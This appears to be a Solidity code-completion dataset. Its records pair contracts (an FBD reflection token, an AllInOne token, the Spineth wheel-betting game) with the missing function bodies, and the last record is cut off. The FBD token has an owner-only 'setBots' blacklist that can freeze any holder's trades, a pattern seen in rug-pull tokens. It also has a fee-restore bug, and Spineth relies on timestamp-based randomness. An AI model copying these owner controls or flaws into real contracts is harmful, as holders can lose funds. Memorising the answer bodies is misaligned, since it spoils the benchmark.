tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
contract FBD is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "FBD_T.me/FBDtoken"; string private constant _symbol = "FBD"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 500000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 4; uint256 private _teamFee = 4; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 5; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } <FILL_FUNCTION> function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max );
function openTrading() external onlyOwner()
function openTrading() external onlyOwner()
32,028
AllInOne
AllInOne
contract AllInOne { mapping (address => uint256) public balanceOf; // balanceOf[address] = 5; string public name; string public symbol; uint8 public decimal; uint256 public intialSupply=500000000; uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); function AllInOne(){<FILL_FUNCTION_BODY> } function transfer(address _to, uint256 _value){ require(balanceOf[msg.sender] > _value); require(balanceOf[_to] + _value > balanceOf[_to]) ; //if(admin) balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); } }
contract AllInOne { mapping (address => uint256) public balanceOf; // balanceOf[address] = 5; string public name; string public symbol; uint8 public decimal; uint256 public intialSupply=500000000; uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); <FILL_FUNCTION> function transfer(address _to, uint256 _value){ require(balanceOf[msg.sender] > _value); require(balanceOf[_to] + _value > balanceOf[_to]) ; //if(admin) balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); } }
balanceOf[msg.sender] = intialSupply; totalSupply = intialSupply; decimal = 2; symbol = "AIO"; name = "AllInOne";
function AllInOne()
function AllInOne()
19,007
Spineth
arrayAdd
contract Spineth { /// The states the game will transition through enum State { WaitingForPlayers, // the game has been created by a player and is waiting for an opponent WaitingForReveal, // someone has joined and also placed a bet, we are now waiting for the creator to their reveal bet Complete // the outcome of the game is determined and players can withdraw their earnings } /// All possible event types enum Event { Create, Cancel, Join, Reveal, Expire, Complete, Withdraw, StartReveal } // The game state associated with a single game between two players struct GameInstance { // Address for players of this game // player1 is always the creator address player1; address player2; // How much is being bet this game uint betAmountInWei; // The wheelBet for each player // For player1, the bet starts as a hash and is only changed to the real bet once revealed uint wheelBetPlayer1; uint wheelBetPlayer2; // The final wheel position after game is complete uint wheelResult; // The time by which the creator of the game must reveal his bet after an opponent joins // If the creator does not reveal in time, the opponent can expire the game, causing them to win the maximal amount of their bet uint expireTime; // Current state of the game State state; // Tracks whether each player has withdrawn their earnings yet bool withdrawnPlayer1; bool withdrawnPlayer2; } /// How many places there are on the wheel that a bet can be placed uint public constant WHEEL_SIZE = 19; /// What percentage of your opponent's bet a player wins for each place on /// the wheel they are closer to the result than their opponent /// i.e. If player1 distance from result = 4 and player2 distance from result = 6 /// then player1 earns (6-4) x WIN_PERCENT_PER_DISTANCE = 20% of player2's bet uint public constant WIN_PERCENT_PER_DISTANCE = 10; /// The percentage charged on earnings that are won uint public constant FEE_PERCENT = 2; /// The minimum amount that can be bet uint public minBetWei = 1 finney; /// The maximum amount that can be bet uint public maxBetWei = 10 ether; /// The amount of time creators have to reavel their bets before /// the game can be expired by an opponent uint public maxRevealSeconds = 3600 * 24; /// The account that will receive fees and can configure min/max bet options address public authority; /// Counters that tracks how many games have been created by each player /// This is used to generate a unique game id per player mapping(address => uint) private counterContext; /// Context for all created games mapping(uint => GameInstance) public gameContext; /// List of all currently open gameids uint[] public openGames; /// Indexes specific to each player mapping(address => uint[]) public playerActiveGames; mapping(address => uint[]) public playerCompleteGames; /// Event fired when a game's state changes event GameEvent(uint indexed gameId, address indexed player, Event indexed eventType); /// Create the contract and verify constant configurations make sense function Spineth() public { // Make sure that the maximum possible win distance (WHEEL_SIZE / 2) // multiplied by the WIN_PERCENT_PER_DISTANCE is less than 100% // If it's not, then a maximally won bet can't be paid out require((WHEEL_SIZE / 2) * WIN_PERCENT_PER_DISTANCE < 100); authority = msg.sender; } // Change authority // Can only be called by authority function changeAuthority(address newAuthority) public { require(msg.sender == authority); authority = newAuthority; } // Change min/max bet amounts // Can only be called by authority function changeBetLimits(uint minBet, uint maxBet) public { require(msg.sender == authority); require(maxBet >= minBet); minBetWei = minBet; maxBetWei = maxBet; } // Internal helper function to add elements to an array function arrayAdd(uint[] storage array, uint element) private {<FILL_FUNCTION_BODY> } // Internal helper function to remove element from an array function arrayRemove(uint[] storage array, uint element) private { for(uint i = 0; i < array.length; ++i) { if(array[i] == element) { array[i] = array[array.length - 1]; delete array[array.length - 1]; --array.length; break; } } } /// Get next game id to be associated with a player address function getNextGameId(address player) public view returns (uint) { uint counter = counterContext[player]; // Addresses are 160 bits so we can safely shift them up by (256 - 160 = 96 bits) // to make room for the counter in the bottom 96 bits // This means a single player cannot theoretically create more than 2^96 games // which should more than enough for the lifetime of any player. uint result = (uint(player) << 96) + counter; // Check that we didn't overflow the counter (this will never happen) require((result >> 96) == uint(player)); return result; } /// Used to calculate the bet hash given a wheel bet and a player secret. /// Used by a game creator to calculate their bet bash off chain first. /// When bet is revealed, contract will use this function to verify the revealed bet is valid function createWheelBetHash(uint gameId, uint wheelBet, uint playerSecret) public pure returns (uint) { require(wheelBet < WHEEL_SIZE); return uint(keccak256(gameId, wheelBet, playerSecret)); } /// Create and initialize a game instance with the sent bet amount. /// The creator will automatically become a participant of the game. /// gameId must be the return value of getNextGameId(...) for the sender /// wheelPositionHash should be calculated using createWheelBetHash(...) function createGame(uint gameId, uint wheelPositionHash) public payable { // Make sure the player passed the correct value for the game id require(getNextGameId(msg.sender) == gameId); // Get the game instance and ensure that it doesn't already exist GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei == 0); // Must provide non-zero bet require(msg.value > 0); // Restrict betting amount // NOTE: Game creation can be disabled by setting min/max bet to 0 require(msg.value >= minBetWei && msg.value <= maxBetWei); // Increment the create game counter for this player counterContext[msg.sender] = counterContext[msg.sender] + 1; // Update game state // The creator becomes player1 game.state = State.WaitingForPlayers; game.betAmountInWei = msg.value; game.player1 = msg.sender; game.wheelBetPlayer1 = wheelPositionHash; // This game is now open to others and active for the player arrayAdd(openGames, gameId); arrayAdd(playerActiveGames[msg.sender], gameId); // Fire event for the creation of this game GameEvent(gameId, msg.sender, Event.Create); } /// Cancel a game that was created but never had another player join /// A creator can use this function if they have been waiting too long for another /// player and want to get their bet funds back. NOTE. Once someone joins /// the game can no longer be cancelled. function cancelGame(uint gameId) public { // Get the game instance and check that it exists GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei > 0); // Can only cancel if we are still waiting for other participants require(game.state == State.WaitingForPlayers); // Is the sender the creator? require(game.player1 == msg.sender); // Update game state // Mark earnings as already withdrawn since we are returning the bet amount game.state = State.Complete; game.withdrawnPlayer1 = true; // This game is no longer open and no longer active for the player arrayRemove(openGames, gameId); arrayRemove(playerActiveGames[msg.sender], gameId); // Fire event for player canceling this game GameEvent(gameId, msg.sender, Event.Cancel); // Transfer the player's bet amount back to them msg.sender.transfer(game.betAmountInWei); } /// Join an open game instance /// Sender must provide an amount of wei equal to betAmountInWei /// After the second player has joined, the creator will have maxRevealSeconds to reveal their bet function joinGame(uint gameId, uint wheelBet) public payable { // Get the game instance and check that it exists GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei > 0); // Only allowed to participate while we are waiting for players require(game.state == State.WaitingForPlayers); // Can't join a game that you created require(game.player1 != msg.sender); // Is there space available? require(game.player2 == 0); // Must pay the amount of the bet to play require(msg.value == game.betAmountInWei); // Make sure the wheelBet makes sense require(wheelBet < WHEEL_SIZE); // Update game state // The sender becomes player2 game.state = State.WaitingForReveal; game.player2 = msg.sender; game.wheelBetPlayer2 = wheelBet; game.expireTime = now + maxRevealSeconds; // After expireTime the game can be expired // This game is no longer open, and is now active for the joiner arrayRemove(openGames, gameId); arrayAdd(playerActiveGames[msg.sender], gameId); // Fire event for player joining this game GameEvent(gameId, msg.sender, Event.Join); // Fire event for creator, letting them know they need to reveal their bet now GameEvent(gameId, game.player1, Event.StartReveal); } /// This can be called by the joining player to force the game to end once the expire /// time has been reached. This is a safety measure to ensure the game can be completed /// in case where the creator decides to not to reveal their bet. In this case, the creator /// will lose the maximal amount of their bet function expireGame(uint gameId) public { // Get the game instance and check that it exists GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei > 0); // Only expire from the WaitingForReveal state require(game.state == State.WaitingForReveal); // Has enough time passed to perform this action? require(now > game.expireTime); // Can only expire the game if you are the second player require(msg.sender == game.player2); // Player1 (creator) did not reveal bet in time // Complete the game in favor of player2 game.wheelResult = game.wheelBetPlayer2; game.wheelBetPlayer1 = (game.wheelBetPlayer2 + (WHEEL_SIZE / 2)) % WHEEL_SIZE; // This game is complete, the withdrawEarnings flow can now be invoked game.state = State.Complete; // Fire an event for the player forcing this game to end GameEvent(gameId, game.player1, Event.Expire); GameEvent(gameId, game.player2, Event.Expire); } /// Once a player has joined the game, the creator must reveal their bet /// by providing the same playerSecret that was passed to createGame(...) function revealBet(uint gameId, uint playerSecret) public { // Get the game instance and check that it exists GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei > 0); // We can only reveal bets during the revealing bets state require(game.state == State.WaitingForReveal); // Only the creator does this require(game.player1 == msg.sender); uint i; // Loop counter used below // Find the wheelBet the player made by enumerating the hash // possibilities. It is done this way so the player only has to // remember their secret in order to revel the bet for(i = 0; i < WHEEL_SIZE; ++i) { // Find the bet that was provided in createGame(...) if(createWheelBetHash(gameId, i, playerSecret) == game.wheelBetPlayer1) { // Update the bet to the revealed value game.wheelBetPlayer1 = i; break; } } // Make sure we successfully revealed the bet, otherwise // the playerSecret was invalid require(i < WHEEL_SIZE); // Fire an event for the revealing of the bet GameEvent(gameId, msg.sender, Event.Reveal); // Use the revealed bets to calculate the wheelResult // NOTE: Neither player knew the unrevealed state of both bets when making their // bet, so the combination can be used to generate a random number neither player could anticipate. // This algorithm was tested for good outcome distribution for arbitrary hash values uint256 hashResult = uint256(keccak256(gameId, now, game.wheelBetPlayer1, game.wheelBetPlayer2)); uint32 randomSeed = uint32(hashResult >> 0) ^ uint32(hashResult >> 32) ^ uint32(hashResult >> 64) ^ uint32(hashResult >> 96) ^ uint32(hashResult >> 128) ^ uint32(hashResult >> 160) ^ uint32(hashResult >> 192) ^ uint32(hashResult >> 224); uint32 randomNumber = randomSeed; randomNumber ^= (randomNumber >> 11); randomNumber ^= (randomNumber << 7) & 0x9D2C5680; randomNumber ^= (randomNumber << 15) & 0xEFC60000; randomNumber ^= (randomNumber >> 18); // Update game state game.wheelResult = randomNumber % WHEEL_SIZE; game.state = State.Complete; // Fire an event for the completion of the game GameEvent(gameId, game.player1, Event.Complete); GameEvent(gameId, game.player2, Event.Complete); } /// A utility function to get the minimum distance between two selections /// on a wheel of WHEEL_SIZE wrapping around at 0 function getWheelDistance(uint value1, uint value2) private pure returns (uint) { // Make sure the values are within range require(value1 < WHEEL_SIZE && value2 < WHEEL_SIZE); // Calculate the distance of value1 with respect to value2 uint dist1 = (WHEEL_SIZE + value1 - value2) % WHEEL_SIZE; // Calculate the distance going the other way around the wheel uint dist2 = WHEEL_SIZE - dist1; // Whichever distance is shorter is the wheel distance return (dist1 < dist2) ? dist1 : dist2; } /// Once the game is complete, use this function to get the results of /// the game. Returns: /// - the amount of wei charged for the fee /// - the amount of wei to be paid out to player1 /// - the amount of wei to be paid out to player2 /// The sum of all the return values is exactly equal to the contributions /// of both player bets. i.e. /// feeWei + weiPlayer1 + weiPlayer2 = 2 * betAmountInWei function calculateEarnings(uint gameId) public view returns (uint feeWei, uint weiPlayer1, uint weiPlayer2) { // Get the game instance and check that it exists GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei > 0); // It doesn't make sense to call this function when the game isn't complete require(game.state == State.Complete); uint distancePlayer1 = getWheelDistance(game.wheelBetPlayer1, game.wheelResult); uint distancePlayer2 = getWheelDistance(game.wheelBetPlayer2, game.wheelResult); // Outcome if there is a tie feeWei = 0; weiPlayer1 = game.betAmountInWei; weiPlayer2 = game.betAmountInWei; uint winDist = 0; uint winWei = 0; // Player one was closer, so they won if(distancePlayer1 < distancePlayer2) { winDist = distancePlayer2 - distancePlayer1; winWei = game.betAmountInWei * (winDist * WIN_PERCENT_PER_DISTANCE) / 100; feeWei = winWei * FEE_PERCENT / 100; weiPlayer1 += winWei - feeWei; weiPlayer2 -= winWei; } // Player two was closer, so they won else if(distancePlayer2 < distancePlayer1) { winDist = distancePlayer1 - distancePlayer2; winWei = game.betAmountInWei * (winDist * WIN_PERCENT_PER_DISTANCE) / 100; feeWei = winWei * FEE_PERCENT / 100; weiPlayer2 += winWei - feeWei; weiPlayer1 -= winWei; } // Same distance, so it was a tie (see above) } /// Once the game is complete, each player can withdraw their earnings /// A fee is charged on winnings only and provided to the contract authority function withdrawEarnings(uint gameId) public { // Get the game instance and check that it exists GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei > 0); require(game.state == State.Complete); var (feeWei, weiPlayer1, weiPlayer2) = calculateEarnings(gameId); bool payFee = false; uint withdrawAmount = 0; if(game.player1 == msg.sender) { // Can't have already withrawn require(game.withdrawnPlayer1 == false); game.withdrawnPlayer1 = true; // They can't withdraw again // If player1 was the winner, they will pay the fee if(weiPlayer1 > weiPlayer2) { payFee = true; } withdrawAmount = weiPlayer1; } else if(game.player2 == msg.sender) { // Can't have already withrawn require(game.withdrawnPlayer2 == false); game.withdrawnPlayer2 = true; // If player2 was the winner, they will pay the fee if(weiPlayer2 > weiPlayer1) { payFee = true; } withdrawAmount = weiPlayer2; } else { // The sender isn't a participant revert(); } // This game is no longer active for this player, and now moved to complete for this player arrayRemove(playerActiveGames[msg.sender], gameId); arrayAdd(playerCompleteGames[msg.sender], gameId); // Fire an event for the withdrawing of funds GameEvent(gameId, msg.sender, Event.Withdraw); // Pay the fee, if necessary if(payFee == true) { authority.transfer(feeWei); } // Transfer sender their outcome msg.sender.transfer(withdrawAmount); } }
contract Spineth { /// The states the game will transition through enum State { WaitingForPlayers, // the game has been created by a player and is waiting for an opponent WaitingForReveal, // someone has joined and also placed a bet, we are now waiting for the creator to their reveal bet Complete // the outcome of the game is determined and players can withdraw their earnings } /// All possible event types enum Event { Create, Cancel, Join, Reveal, Expire, Complete, Withdraw, StartReveal } // The game state associated with a single game between two players struct GameInstance { // Address for players of this game // player1 is always the creator address player1; address player2; // How much is being bet this game uint betAmountInWei; // The wheelBet for each player // For player1, the bet starts as a hash and is only changed to the real bet once revealed uint wheelBetPlayer1; uint wheelBetPlayer2; // The final wheel position after game is complete uint wheelResult; // The time by which the creator of the game must reveal his bet after an opponent joins // If the creator does not reveal in time, the opponent can expire the game, causing them to win the maximal amount of their bet uint expireTime; // Current state of the game State state; // Tracks whether each player has withdrawn their earnings yet bool withdrawnPlayer1; bool withdrawnPlayer2; } /// How many places there are on the wheel that a bet can be placed uint public constant WHEEL_SIZE = 19; /// What percentage of your opponent's bet a player wins for each place on /// the wheel they are closer to the result than their opponent /// i.e. If player1 distance from result = 4 and player2 distance from result = 6 /// then player1 earns (6-4) x WIN_PERCENT_PER_DISTANCE = 20% of player2's bet uint public constant WIN_PERCENT_PER_DISTANCE = 10; /// The percentage charged on earnings that are won uint public constant FEE_PERCENT = 2; /// The minimum amount that can be bet uint public minBetWei = 1 finney; /// The maximum amount that can be bet uint public maxBetWei = 10 ether; /// The amount of time creators have to reavel their bets before /// the game can be expired by an opponent uint public maxRevealSeconds = 3600 * 24; /// The account that will receive fees and can configure min/max bet options address public authority; /// Counters that tracks how many games have been created by each player /// This is used to generate a unique game id per player mapping(address => uint) private counterContext; /// Context for all created games mapping(uint => GameInstance) public gameContext; /// List of all currently open gameids uint[] public openGames; /// Indexes specific to each player mapping(address => uint[]) public playerActiveGames; mapping(address => uint[]) public playerCompleteGames; /// Event fired when a game's state changes event GameEvent(uint indexed gameId, address indexed player, Event indexed eventType); /// Create the contract and verify constant configurations make sense function Spineth() public { // Make sure that the maximum possible win distance (WHEEL_SIZE / 2) // multiplied by the WIN_PERCENT_PER_DISTANCE is less than 100% // If it's not, then a maximally won bet can't be paid out require((WHEEL_SIZE / 2) * WIN_PERCENT_PER_DISTANCE < 100); authority = msg.sender; } // Change authority // Can only be called by authority function changeAuthority(address newAuthority) public { require(msg.sender == authority); authority = newAuthority; } // Change min/max bet amounts // Can only be called by authority function changeBetLimits(uint minBet, uint maxBet) public { require(msg.sender == authority); require(maxBet >= minBet); minBetWei = minBet; maxBetWei = maxBet; } <FILL_FUNCTION> // Internal helper function to remove element from an array function arrayRemove(uint[] storage array, uint element) private { for(uint i = 0; i < array.length; ++i) { if(array[i] == element) { array[i] = array[array.length - 1]; delete array[array.length - 1]; --array.length; break; } } } /// Get next game id to be associated with a player address function getNextGameId(address player) public view returns (uint) { uint counter = counterContext[player]; // Addresses are 160 bits so we can safely shift them up by (256 - 160 = 96 bits) // to make room for the counter in the bottom 96 bits // This means a single player cannot theoretically create more than 2^96 games // which should more than enough for the lifetime of any player. uint result = (uint(player) << 96) + counter; // Check that we didn't overflow the counter (this will never happen) require((result >> 96) == uint(player)); return result; } /// Used to calculate the bet hash given a wheel bet and a player secret. /// Used by a game creator to calculate their bet bash off chain first. /// When bet is revealed, contract will use this function to verify the revealed bet is valid function createWheelBetHash(uint gameId, uint wheelBet, uint playerSecret) public pure returns (uint) { require(wheelBet < WHEEL_SIZE); return uint(keccak256(gameId, wheelBet, playerSecret)); } /// Create and initialize a game instance with the sent bet amount. /// The creator will automatically become a participant of the game. /// gameId must be the return value of getNextGameId(...) for the sender /// wheelPositionHash should be calculated using createWheelBetHash(...) function createGame(uint gameId, uint wheelPositionHash) public payable { // Make sure the player passed the correct value for the game id require(getNextGameId(msg.sender) == gameId); // Get the game instance and ensure that it doesn't already exist GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei == 0); // Must provide non-zero bet require(msg.value > 0); // Restrict betting amount // NOTE: Game creation can be disabled by setting min/max bet to 0 require(msg.value >= minBetWei && msg.value <= maxBetWei); // Increment the create game counter for this player counterContext[msg.sender] = counterContext[msg.sender] + 1; // Update game state // The creator becomes player1 game.state = State.WaitingForPlayers; game.betAmountInWei = msg.value; game.player1 = msg.sender; game.wheelBetPlayer1 = wheelPositionHash; // This game is now open to others and active for the player arrayAdd(openGames, gameId); arrayAdd(playerActiveGames[msg.sender], gameId); // Fire event for the creation of this game GameEvent(gameId, msg.sender, Event.Create); } /// Cancel a game that was created but never had another player join /// A creator can use this function if they have been waiting too long for another /// player and want to get their bet funds back. NOTE. Once someone joins /// the game can no longer be cancelled. function cancelGame(uint gameId) public { // Get the game instance and check that it exists GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei > 0); // Can only cancel if we are still waiting for other participants require(game.state == State.WaitingForPlayers); // Is the sender the creator? require(game.player1 == msg.sender); // Update game state // Mark earnings as already withdrawn since we are returning the bet amount game.state = State.Complete; game.withdrawnPlayer1 = true; // This game is no longer open and no longer active for the player arrayRemove(openGames, gameId); arrayRemove(playerActiveGames[msg.sender], gameId); // Fire event for player canceling this game GameEvent(gameId, msg.sender, Event.Cancel); // Transfer the player's bet amount back to them msg.sender.transfer(game.betAmountInWei); } /// Join an open game instance /// Sender must provide an amount of wei equal to betAmountInWei /// After the second player has joined, the creator will have maxRevealSeconds to reveal their bet function joinGame(uint gameId, uint wheelBet) public payable { // Get the game instance and check that it exists GameInstance storage game = gameContext[gameId]; require(game.betAmountInWei > 0); // Only allowed to participate while we are waiting for players require(game.state == State.WaitingForPlayers); // Can't join a game that you created require(game.player1 != msg.sender); // Is there space available? require(game.player2 == 0); // Must pay the amount of the bet to play require(msg.value == game.betAmountInWei); // Make sure the wheelBet makes sense require(wheelBet < WHEEL_SIZE); // Update game state // The sender becomes player2 game.state = State.WaitingForReveal; game.player2 = msg.sender; game.wheelBetPlayer2 = wheelBet; game.expireTime = now + maxRevealSeconds; // After expireTime the game can be expired // This game is no longer open, and is now active for the joiner arrayRemove(openGames, gameId); arrayAdd(playerActiveGames[msg.sender], gameId); // Fire event for player joining this game GameEvent(gameId, msg.sender, Event.Join); // Fire event for creator, 